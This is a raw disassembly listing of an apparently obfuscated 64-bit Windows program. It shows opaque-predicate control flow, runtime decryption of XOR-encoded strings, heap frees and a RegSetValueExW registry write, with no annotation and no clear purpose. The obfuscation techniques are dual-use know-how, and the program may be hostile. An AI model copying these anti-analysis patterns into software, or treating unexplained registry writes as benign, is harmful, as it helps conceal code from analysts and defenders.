and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
and ecx, 0x38a733b4
add ecx, ecx
sub eax, ecx
imul eax, eax, 0xc104db4d
cmp eax, 0xc475544e
je 0x14006a4b0
xor r12d, r12d
movabs rdi, 0x8000000000000000
nop word cs:[rax + rax]
mov eax, dword [0x1415b1de0]
xor edx, edx
div dword [0x1415b1de4]
add eax, 0x5958039b
imul rax, rax, 0x7ae63095
shr rax, 0x3e
cmp eax, 0x8e24d0f6
ja 0x14006a510
mov rax, qword [rbp + 0x19d8]
cmp qword [rax], 0
je 0x14006a580
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x1415b1de8]
add eax, dword [0x1415b1dec]
xor eax, 0x62002
or eax, 0xdf415dd0
cmp eax, 0x53ec6bbc
jb 0x14006a560
nop dword [rax]
mov eax, dword [0x1415b1e18]
mov ecx, dword [0x1415b1e1c]
not ecx
add eax, ecx
add eax, 0xb491dea8
mov ecx, eax
not ecx
and ecx, 0xc5bbcefe
mov edx, eax
and edx, 0x3a443101
imul edx, ecx
mov ecx, eax
and ecx, 0xc5bbcefe
or eax, 0xc5bbcefe
imul eax, ecx
add eax, edx
xor eax, 0x785d8b4c
cmp eax, 0x70490f1b
ja 0x14006a580
nop dword [rax + rax]
mov eax, dword [0x1415b1e20]
mov ecx, dword [0x1415b1e24]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
and ecx, 0x2d34dde8
mov edx, ecx
not edx
and edx, 0x3215de0c
mov r8d, eax
and r8d, 0xd2001e0
imul r8d, edx
and eax, 0x2014dc08
or ecx, 0x3215de0c
imul ecx, eax
add ecx, r8d
not ecx
or ecx, 0xc39cb800
cmp ecx, 0x6e2cfac2
je 0x14006a5d0
movabs rax, 0x8000000000000000
cmp rdi, rax
jne 0x14006a720
mov rdi, qword [rbp + 0x1a50]
nop word [rax + rax]
mov eax, dword [0x1415b1e48]
add eax, dword [0x1415b1e4c]
mov ecx, eax
not ecx
and ecx, 0x437eb0ed
and eax, 0x3c814f12
sub eax, ecx
and eax, 0x5236269e
add eax, 0x11cc711
cmp eax, 0x5e9c3ab
jb 0x14006a660
mov ecx, 0x9505c66d
nop word cs:[rax + rax]
mov eax, dword [0x1415b1e50]
xor edx, edx
div dword [0x1415b1e54]
shr eax, 1
imul rax, rcx
shr rax, 0x3c
cmp eax, 0x9915f0a6
je 0x14006a6a0
mov eax, 0x837ba785
nop word cs:[rax + rax]
mov ecx, dword [0x1415b1e58]
add ecx, dword [0x1415b1e5c]
imul rcx, rax
shr rcx, 0x3c
mov edx, ecx
and edx, 0xfffffffd
xor ecx, 0xdcf88f9d
or ecx, edx
mov edx, ecx
not edx
or ecx, 0x20037009
or edx, 0x23677fe6
and edx, ecx
cmp edx, 0x75568f0f
jae 0x14006a6d0
mov r13, rsi
jmp 0x14006a851
mov eax, dword [0x1415b1e28]
sub eax, dword [0x1415b1e2c]
xor eax, 0x804bc7c5
imul eax, eax, 0x192ea14b
add eax, 0xb3eccd12
cmp eax, 0x570fb791
jb 0x14006a720
movabs r13, 0xde00000002
cmp r12b, 5
jge 0x14006a791
cmp r12b, 4
jne 0x14006a7ec
nop dword [rax]
mov eax, dword [0x1415b1e30]
sub eax, dword [0x1415b1e34]
or eax, 0xca0948b1
mov ecx, eax
not ecx
or ecx, 0xfc1201bc
add ecx, eax
imul eax, ecx, 0x465d4858
add eax, 0x465d4858
cmp eax, 0x6187220a
ja 0x14006a760
jmp 0x14006a793
jne 0x14006a7ec
cmp r14, 4
movabs r8, 0x8000000000000000
jne 0x14006abbd
mov eax, 0xca4c5b75
nop dword [rax]
mov ecx, dword [0x1415b1e38]
add ecx, dword [0x1415b1e3c]
imul rcx, rax
shr rcx, 0x3d
imul ecx, ecx, 0x8925b569
mov edx, ecx
xor edx, 0x5cc7955e
or ecx, 0xa3386aa1
and ecx, edx
cmp ecx, 0x22132ba0
je 0x14006a7b0
mov r14b, 1
test rdi, rdi
jns 0x14006a801
jmp 0x14006a7fe
xor r14d, r14d
movabs r8, 0x8000000000000000
test rdi, rdi
jns 0x14006a801
cmp rdi, r8
mov rdi, qword [rbp + 0x1a50]
je 0x14006a848
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x1415b1e40]
or eax, dword [0x1415b1e44]
or eax, 0xa6d8c9dd
cmp eax, 0xe264b9ee
je 0x14006a830
test r14b, r14b
jne 0x14006abd8
mov eax, r13d
and eax, 3
cmp rax, 2
mov rsi, qword [rbp + 0x1928]
jg 0x14006ab90
cmp eax, 1
jne 0x14006aed2
mov eax, dword [0x1415b1ee0]
xor edx, edx
div dword [0x1415b1ee4]
lea rsi, [r13 - 1]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1ee8]
xor edx, edx
div dword [0x1415b1eec]
mov ecx, eax
and ecx, 0x4002644c
and eax, 0x40020048
add eax, eax
sub ecx, eax
add ecx, 0xd4729069
cmp ecx, 0x25410e45
jb 0x14006a890
mov r15, qword [r13 - 1]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1ef0]
and eax, dword [0x1415b1ef4]
and eax, 0x2c00bfd7
mov ecx, eax
not ecx
or ecx, 0x3ed2c921
add eax, ecx
inc eax
mov ecx, eax
xor ecx, 0x296178f7
or eax, 0xd69e8708
and eax, ecx
cmp eax, 0x4bacf12a
ja 0x14006a8d0
mov rdi, qword [r13 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14006a960
sub rsp, 0x20
mov rcx, r15
call rax
add rsp, 0x20
nop
mov eax, dword [str.EThq_b]
mov ecx, dword [0x1415b1efc]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
mov eax, ecx
and eax, 0xaa1b97aa
xor eax, 0xa8001782
and ecx, 0xa8001782
or ecx, eax
or ecx, 0x55e46855
cmp ecx, 0xa678f80
je 0x14006a920
nop word [rax + rax]
mov eax, dword [0x1415b1f00]
sub eax, dword [0x1415b1f04]
or eax, 0x6900081c
and eax, 0x79944e5c
add eax, 0xa480911e
cmp eax, 0x427b576
jb 0x14006a960
cmp qword [rdi + 8], 0
je 0x14006ab2c
mov rax, qword [rdi + 0x10]
nop word cs:[rax + rax]
mov ecx, dword [0x1415b1f08]
mov edx, dword [0x1415b1f0c]
mov r8d, ecx
and r8d, edx
or ecx, edx
not ecx
or ecx, r8d
mov edx, ecx
not edx
xor ecx, 0xfeada7c7
and edx, 0x7eada7c7
add edx, edx
sub edx, ecx
add edx, 0xb44c1860
imul rcx, rdx, 0x4cf6409d
shr rcx, 0x3c
cmp ecx, 0x3aa414d6
ja 0x14006a9a0
nop word cs:[rax + rax]
mov ecx, dword [0x1415b1f10]
mov edx, dword [0x1415b1f14]
mov r8d, edx
not r8d
or r8d, ecx
not ecx
or ecx, edx
and ecx, r8d
not ecx
mov edx, ecx
and edx, 0x6e410c85
add edx, edx
neg edx
add ecx, edx
add ecx, 0xee410c85
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0x4102fb
and edx, 0xffbefd04
imul edx, r8d
mov r8d, ecx
and r8d, 0xffbefd04
or ecx, 0xffbefd04
imul ecx, r8d
add ecx, edx
imul rcx, rcx, 0x604c12df
shr rcx, 0x3c
cmp ecx, 0x3704346c
ja 0x14006a9f0
cmp rax, 0x11
jb 0x14006ab12
nop dword [rax]
mov eax, dword [0x1415b1f18]
sub eax, dword [0x1415b1f1c]
add eax, 0x3de2797d
xor eax, 0xaa28c0d6
cmp eax, 0xa3a2ea5d
ja 0x14006aa70
mov eax, dword [0x1415b1f20]
xor edx, edx
div dword [0x1415b1f24]
nop dword [rax + rax]
mov eax, dword [0x1415b1f28]
and eax, dword [0x1415b1f2c]
mov ecx, eax
and ecx, 0x6a314a45
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0x848a89fa
mov ecx, eax
xor ecx, 0x37497259
and eax, 0x48b68da6
add eax, eax
sub eax, ecx
cmp eax, 0x2f1c273f
je 0x14006aaa0
mov r15, qword [r15 - 8]
nop dword [rax + rax]
mov eax, dword [0x1415b1f34]
add eax, dword [0x1415b1f30]
imul rax, rax, 0x491dc5eb
shr rax, 0x3c
mov ecx, eax
not ecx
and ecx, 0x2b377091
and eax, 0xfffffffe
sub eax, ecx
and eax, 0xc4008d5d
cmp eax, 0x8cf62ca1
jb 0x14006aae0
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov eax, dword [0x1415b1f38]
or eax, dword [0x1415b1f3c]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb3786a40
and ecx, 0x4c8795bf
imul ecx, edx
mov edx, eax
and edx, 0x4c8795bf
or eax, 0x4c8795bf
imul eax, edx
add eax, ecx
imul eax, eax, 0x7d66f76a
mov ecx, 0xb9728f89
imul rcx, rax
shr rcx, 0x3d
cmp ecx, 0xc7e274c6
ja 0x14006adcb
jmp 0x14006ad79
mov eax, dword [0x1415b1ed8]
sub eax, dword [0x1415b1edc]
mov ecx, eax
and ecx, 0x33d90ac
xor eax, 0x233d90ac
lea eax, [rax + rcx*2]
or eax, 0xd9467183
cmp eax, 0xa1868810
je 0x14006ab90
jmp 0x14006aed2
xor r14d, r14d
movabs r13, 0xd00000002
test rdi, rdi
jns 0x14006a801
jmp 0x14006a7fe
lea rax, [0x14158fabc]
mov rcx, qword [rbp + 0x1078]
mov qword [rcx], rax
mov rcx, qword [rcx]
mov rax, qword [rbp + 0x1850]
mov dword [rax], 0x8592866c
mov edx, dword [rax]
sub rsp, 0x20
call fcn.14003da30
add rsp, 0x20
mov rdx, qword [rax]
movabs rcx, 0xf9ae4a33183a6ae0
mov r8, rdx
and r8, rcx
add r8, r8
movabs r9, 0xb5e794ba2dee7aa7
xor r9, qword [rax + 8]
sub rcx, r8
movabs r8, 0x1b4a32a1a96e1742
xor r8, qword [rax + 0x10]
add rcx, rdx
movabs rdx, 0xf567be9cfed9b9ee
xor rdx, qword [rax + 0x18]
mov r10d, 0x5433c706
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0x8f
shr eax, 8
xor al, 0x3c
mov rsi, qword [rbp + 0x1858]
mov qword [rsi], rcx
mov qword [rsi + 8], r9
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
mov dword [rsi + 0x20], r10d
mov byte [rsi + 0x24], r11b
mov byte [rsi + 0x25], al
mov rax, qword [rbp + 0x1070]
mov qword [rax], rsi
mov qword [rax + 8], 0x26
mov rdi, qword [rbp + 0x1840]
mov qword [rdi], rax
lea rax, [0x1401494f0]
mov qword [rdi + 8], rax
lea rax, [0x1402593b8]
mov rbx, qword [rbp + 0x1848]
mov qword [rbx], rax
mov eax, dword [0x1415b1ec8]
mov ecx, dword [0x1415b1ecc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
imul eax, eax, 0x9ab0e662
add eax, 0x69f713d2
mov ecx, 0xae12bce3
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0x64aa5957
je 0x14006b11d
jmp 0x14006b0aa
mov eax, dword [0x1415b1db8]
add eax, dword [0x1415b1dbc]
imul eax, eax, 0x5af5042
xor eax, 0x9003d40
and eax, 0x4bd4bd62
ud2
ud2
mov eax, dword [0x1415b1f40]
add eax, dword [0x1415b1f44]
mov ecx, eax
and ecx, 0x299ac2c3
add ecx, ecx
sub eax, ecx
add eax, 0xfc2e1c90
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7ca95539
and ecx, 0x8356aac6
imul ecx, edx
mov edx, eax
and edx, 0x8356aac6
or eax, 0x8356aac6
imul eax, edx
add eax, ecx
mov r15, qword [0x1415d3918]
cmp eax, 0xccb36607
jbe 0x14006add4
mov rax, qword [0x1415d3918]
jmp 0x14006ad79
mov eax, dword [0x1415b1f48]
sub eax, dword [0x1415b1f4c]
imul eax, eax, 0xa0effbdf
add eax, 0x7778255c
and eax, 0xae9a7a1f
cmp eax, 0xfa7189b4
jne 0x14006ae0d
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1f50]
xor edx, edx
div dword [0x1415b1f54]
imul r14d, eax, 0x24d41efb
add r14d, 0x72e5e48d
mov eax, r14d
not eax
mov ecx, r14d
and ecx, 0xdc7e7bc5
and eax, 0x2381843a
imul eax, ecx
mov ecx, r14d
and ecx, 0x2381843a
or r14d, 0x2381843a
imul r14d, ecx
add r14d, eax
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rsi
call rdi
add rsp, 0x20
cmp r14d, 0x805a1d5
ja 0x14006ae20
mov eax, 0xf18d3021
mov rsi, qword [rbp + 0x1928]
mov rdi, qword [rbp + 0x1a50]
nop word [rax + rax]
mov ecx, dword [0x1415b1f58]
sub ecx, dword [0x1415b1f5c]
lea edx, [rcx - 0x2097307c]
not edx
or edx, 0xaa2a28ea
add ecx, edx
add ecx, 0xdf68cf85
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0x83722e32
ja 0x14006aea0
movabs r11, 0xcffdc9d2d87216c7
movabs r14, 0xc6d235c0ae31e491
movabs r12, 0x9d824f328d24cb55
mov eax, dword [0x1415b1f60]
sub eax, dword [0x1415b1f64]
movabs r15, 0x495441a458e8c500
imul rax, rax, 0x33036fe1
shr rax, 0x3d
or eax, 0x9fc54688
xor eax, 0xa875bdf6
add eax, 0x108a0901
lea rcx, [0x14158ed5f]
cmp eax, 0xd7be57cc
jbe 0x14006afb2
mov qword [rdi], rcx
mov r13, rcx
mov rcx, qword [rdi]
mov rax, qword [rbp + 0x1978]
mov dword [rax], 0xde586993
mov edx, dword [rax]
sub rsp, 0x20
mov rbx, r11
call fcn.140048230
mov r11, rbx
add rsp, 0x20
mov rcx, qword [rax]
mov rdx, r12
xor rdx, r12
not rdx
mov r8, qword [rax + 8]
xor r8, r14
and rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
xor r9, r15
movzx eax, byte [rax + 0x20]
xor rdx, r12
mov r10, rcx
and r10, rbx
add r10, r10
add rcx, rbx
sub rcx, r10
xor al, 0x94
mov qword [rsi], rcx
mov rcx, r13
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], r9
mov byte [rsi + 0x20], al
mov rax, qword [rbp + 0x1a60]
mov qword [rax], rsi
mov rbx, qword [rbp + 0x1978]
nop dword [rax]
mov eax, dword [0x1415b1f68]
or eax, dword [0x1415b1f6c]
mov r13d, eax
xor r13d, 0x1c020100
and r13d, eax
and r13d, 0x1c120904
mov rax, qword [rbp + 0x1a50]
mov qword [rax], rcx
mov rcx, qword [rax]
mov dword [rbx], 0xde586993
mov edx, dword [rbx]
sub rsp, 0x20
mov rdi, r15
mov r15, r12
mov r12, r14
mov r14, r11
call fcn.14021a220
mov r11, r14
mov r14, r12
mov r12, r15
mov r15, rdi
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r11
mov rdx, qword [rax + 8]
xor rdx, r14
mov r8, qword [rax + 0x10]
xor r8, r12
mov r9, qword [rax + 0x18]
xor r9, rdi
movzx eax, byte [rax + 0x20]
mov r10d, eax
and r10b, 0x14
add r10b, r10b
sub al, r10b
add al, 0x94
mov qword [rsi], rcx
lea rcx, [0x14158ed5f]
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
mov byte [rsi + 0x20], al
mov rax, qword [rbp + 0x1a60]
mov qword [rax], rsi
cmp r13d, 0x1eb7166
ja 0x14006afc0
xor eax, eax
test al, al
lea rdi, [0x1402593b8]
lea r14, [0x1401494f0]
mov rbx, qword [rbp + 0x1a60]
mov r15, qword [rbp + 0x17e0]
mov r12, qword [rbp + 0x17e8]
jne 0x14006b1cc
jmp 0x14006b153
mov eax, dword [0x1415b1ed0]
mov ecx, dword [0x1415b1ed4]
not ecx
mov edx, eax
or edx, ecx
and ecx, eax
not ecx
and ecx, edx
not ecx
mov eax, ecx
and eax, 0x2917a027
add eax, eax
neg eax
lea esi, [rcx + rax]
add esi, 0x9ceef600
not esi
and esi, 0x7d7726c0
mov qword [rbx + 8], 2
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 1
sub rsp, 0x20
mov rcx, rbx
call fcn.140178600
call fcn.140219fa0
add rsp, 0x20
cmp esi, 0x9f7c7c65
jbe 0x1400672ae
mov qword [rbx + 8], 2
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 1
sub rsp, 0x20
mov rcx, rbx
call fcn.140178600
call fcn.1401b58b0
add rsp, 0x20
jmp 0x14006b0aa
mov eax, dword [0x1415b1f70]
mov ecx, dword [0x1415b1f74]
not eax
not ecx
or ecx, eax
mov esi, ecx
xor esi, 0x2000298
xor ecx, 0x28000040
and ecx, 0x2c800044
and esi, 0x92040398
or esi, ecx
mov qword [rbx + 8], 0x21
mov qword [r15], rbx
mov qword [r15 + 8], r14
mov qword [r12], rdi
mov qword [r12 + 8], 2
mov qword [r12 + 0x20], 0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 1
sub rsp, 0x20
mov rcx, r12
call fcn.140178600
add rsp, 0x20
cmp esi, 0x82f160ac
jae 0x14006b214
mov qword [rbx + 8], 0x21
mov qword [r15], rbx
mov qword [r15 + 8], r14
mov qword [r12], rdi
mov qword [r12 + 8], 2
mov qword [r12 + 0x20], 0
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 1
sub rsp, 0x20
mov rcx, r12
call fcn.140219e00
add rsp, 0x20
jmp 0x14006b153
mov eax, dword [0x1415b1f78]
and eax, dword [0x1415b1f7c]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xde023f8c
and ecx, 0x21fdc073
imul ecx, edx
mov edx, eax
and edx, 0x21fdc073
or eax, 0x21fdc073
imul eax, edx
add eax, ecx
imul rcx, rax, 0x3341af6d
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
or eax, 0x4749e2c6
cmp eax, 0x10428424
mov r15, qword [rbp + 0x17c8]
mov r12, qword [rbp + 0x17d0]
mov r13, qword [rbp + 0x17d8]
jne 0x14006b2f6
lea rax, [0x1415905ac]
mov qword [r12], rax
mov rcx, qword [r12]
mov dword [r15], 0x3f8d207a
mov edx, dword [r15]
sub rsp, 0x20
call fcn.140046a90
add rsp, 0x20
mov ecx, dword [rax]
mov edx, ecx
not edx
or edx, 0xa72b06a6
or ecx, 0x58d4f959
and ecx, edx
movzx eax, byte [rax + 4]
xor al, 0x66
movzx eax, al
shl rax, 0x20
not rax
not rcx
and rcx, rax
not rcx
mov dword [r13], ecx
shr rcx, 0x20
mov byte [r13 + 4], cl
movzx eax, byte [0x1415d3950]
sub rsp, 0x20
mov edx, 4
xor ecx, ecx
call fcn.1401b5e70
add rsp, 0x20
lea rdi, [0x1415905ac]
mov rbx, qword [rbp + 0x1a68]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1f80]
add eax, dword [0x1415b1f84]
imul rax, rax, 0x61a83cc7
shr rax, 0x3e
add eax, 0xb40e253d
mov ecx, eax
not ecx
and ecx, 0x4bf19283
imul ecx, ecx, 0x200e0424
and eax, 0x9400211b
imul r14d, eax, 0xffffb7bf
add r14d, ecx
mov qword [r12], rdi
mov rcx, qword [r12]
mov dword [r15], 0x3f8d207a
mov edx, dword [r15]
sub rsp, 0x20
call fcn.140046a90
add rsp, 0x20
mov ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x66
movzx eax, al
shl rax, 0x20
not rax
xor rcx, 0xffffffffa72b06a6
and rcx, rax
not rcx
mov dword [r13], ecx
shr rcx, 0x20
mov byte [r13 + 4], cl
movzx eax, byte [0x1415d3950]
sub rsp, 0x20
mov edx, 4
xor ecx, ecx
call fcn.1401b5e70
add rsp, 0x20
cmp r14d, 0xd7bd7704
jb 0x14006b310
mov rsi, rax
test rax, rax
je 0x14006b3da
mov dword [rsi], 1
xor eax, eax
test al, al
jne 0x14006b58f
jmp 0x14006b534
mov eax, dword [0x1415b1f88]
add eax, dword [0x1415b1f8c]
and eax, 0x909eeb14
add eax, 0xf239d18e
and eax, 0xa06d7aac
cmp eax, 0x42e150fe
jbe 0x14006b400
ud2
mov eax, dword [0x1415b1f90]
and eax, dword [0x1415b1f94]
mov ecx, eax
not ecx
and ecx, 0x8e1efc28
mov edx, eax
and edx, 0x71e103d7
imul edx, ecx
mov ecx, eax
and ecx, 0x8e1efc28
or eax, 0x8e1efc28
imul eax, ecx
add eax, edx
imul rax, rax, 0x1650f015
shr rax, 0x3b
mov ecx, eax
not ecx
and ecx, 0xdd1efd39
and eax, 0xfffffffe
sub eax, ecx
ud2
mov eax, dword [0x1415b1eb8]
add eax, dword [0x1415b1ebc]
or eax, 0xcce3ed86
imul edi, eax, 0x3fae7b88
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
cmp edi, 0xed5cb96a
jbe 0x14006b4f0
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x14006b4a1
mov eax, dword [0x1415b1ec0]
sub eax, dword [0x1415b1ec4]
imul eax, eax, 0x1211aab
and eax, 0x827cca0f
xor eax, 0xb046cb64
cmp eax, 0xf643e54a
ja 0x14006b4f0
mov rsi, qword [rbp + 0x19d8]
mov rdi, qword [rbp + 0x1930]
mov rdx, qword [rbp + 0x1938]
mov rcx, qword [rbp + 0x1940]
jmp 0x140069fc1
mov eax, dword [0x1415b1fa0]
or eax, dword [0x1415b1fa4]
and eax, 0x62b944e5
imul rdi, rax, 0x22c50ddf
shr rdi, 0x3b
add edi, 0xf27f8d1d
lea rax, [r13 + 5]
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], rax
mov word [rbp - 0x68], 0
mov dword [rbp - 0x60], 1
sub rsp, 0x20
lea rcx, [rbp + 0x1a08]
lea rdx, [rbp - 0x78]
call fcn.14021a240
add rsp, 0x20
cmp edi, 0x8b073367
jae 0x14006b5c5
lea rax, [r13 + 5]
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], rax
mov word [rbp - 0x68], 0
mov dword [rbp - 0x60], 1
sub rsp, 0x20
lea rcx, [rbp + 0x1a08]
lea rdx, [rbp - 0x78]
call fcn.14021a240
add rsp, 0x20
jmp 0x14006b534
mov eax, dword [0x1415b1fac]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x1415b1fa8]
xor ecx, eax
or ecx, 0x8d4fc965
add ecx, 0xd4213211
xor ecx, 0x8d684937
cmp ecx, 0x69e0af0f
jb 0x14006b65e
mov edi, dword [0x1415b1fb0]
xor edi, dword [0x1415b1fb4]
mov eax, edi
not eax
or eax, 0x4782463
and eax, 0x74fc24e3
mov ecx, edi
and ecx, 0x80024910
or ecx, eax
xor ecx, 0xffb41707
and edi, 0x80000180
or edi, ecx
mov r15, qword [rbp + 0x1a10]
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 4
mov rcx, rbx
mov rdx, r15
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x30
cmp edi, 0x376a36d7
jne 0x14006b691
mov rdx, qword [rbp + 0x1a10]
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 4
mov rcx, rbx
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x30
jmp 0x14006b5f3
mov r14d, eax
cmp qword [rbp + 0x1a08], 0
je 0x14006b770
mov eax, dword [0x1415b1fb8]
and eax, dword [0x1415b1fbc]
add eax, 0xcda2f3a7
xor eax, 0x355ff9ea
add eax, 0xfad4d14b
cmp eax, 0xb53d1184
ja 0x14006b6f2
mov eax, dword [0x1415b1fc0]
mov ecx, dword [0x1415b1fc4]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
and eax, 0x6fdb32a
add eax, 0xf144ec9b
mov r13, qword [0x1415d3918]
cmp eax, 0xe4fd0cf4
jae 0x14006b6fb
mov rax, qword [0x1415d3918]
jmp 0x14006b6c4
mov eax, dword [0x1415b1fc8]
add eax, dword [0x1415b1fcc]
and eax, 0x57b806dc
xor eax, 0xfeeff92f
add eax, 0x208d8d78
cmp eax, 0x521bc5b0
jae 0x14006b733
sub rsp, 0x20
mov rcx, r13
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word [rax + rax]
mov r12d, dword [0x1415b1fd0]
and r12d, dword [0x1415b1fd4]
add r12d, 0x22eb7e29
sub rsp, 0x20
mov rcx, r13
xor edx, edx
mov r8, r15
call rdi
add rsp, 0x20
cmp r12d, 0xf5f55d81
ja 0x14006b740
mov eax, dword [0x1415b1fd8]
add eax, dword [0x1415b1fdc]
mov ecx, eax
and ecx, 0x61f1e9c7
xor eax, 0xe1f1e9c7
lea eax, [rax + rcx*2]
mov ecx, eax
xor ecx, 0x11a08886
xor eax, 0xe555721
or ecx, 0xe45e3359
and ecx, eax
cmp ecx, 0x86e347a3
je 0x14006b7ec
mov eax, dword [0x1415b1fe0]
and eax, dword [0x1415b1fe4]
imul rcx, rax, 0x37313f8d
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
imul eax, eax, 0x70a147cb
mov ecx, eax
xor ecx, 0xc51601f4
and eax, 0x451601f4
or eax, ecx
mov rcx, qword [0x1415d3918]
cmp eax, 0x4b66c9c5
jae 0x14006b7f5
mov rax, qword [0x1415d3918]
jmp 0x14006b7a9
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call fcn.140219910
add rsp, 0x20
movabs rsi, 0x8000000000000000
mov r9, qword [rbp + 0x10c0]
mov r13, qword [rbp + 0x18b8]
nop
mov eax, dword [0x1415b1fe8]
imul eax, dword [0x1415b1fec]
mov ecx, eax
and ecx, 0x6ef9ed42
xor ecx, 0x6831ac02
and eax, 0xf937bebf
or eax, ecx
mov ecx, eax
or ecx, 0x910612bd
mov edx, eax
not edx
and edx, 0x24212840
mov r8d, ecx
and r8d, 0x4adec51a
imul r8d, edx
and ecx, 0xb5213ae5
or eax, 0xb5273afd
imul eax, ecx
add eax, r8d
cmp eax, 0xfccfd16e
je 0x14006b820
test r14d, r14d
jne 0x14006bca3
mov r15, rbx
mov r12, qword [rbp + 0x10b8]
nop dword [rax]
mov eax, dword [0x1415b2000]
add eax, dword [0x1415b2004]
xor eax, 0xace8617
cmp eax, 0xbd6516f9
jb 0x14006b890
xor eax, eax
test al, al
je 0x14006bcb0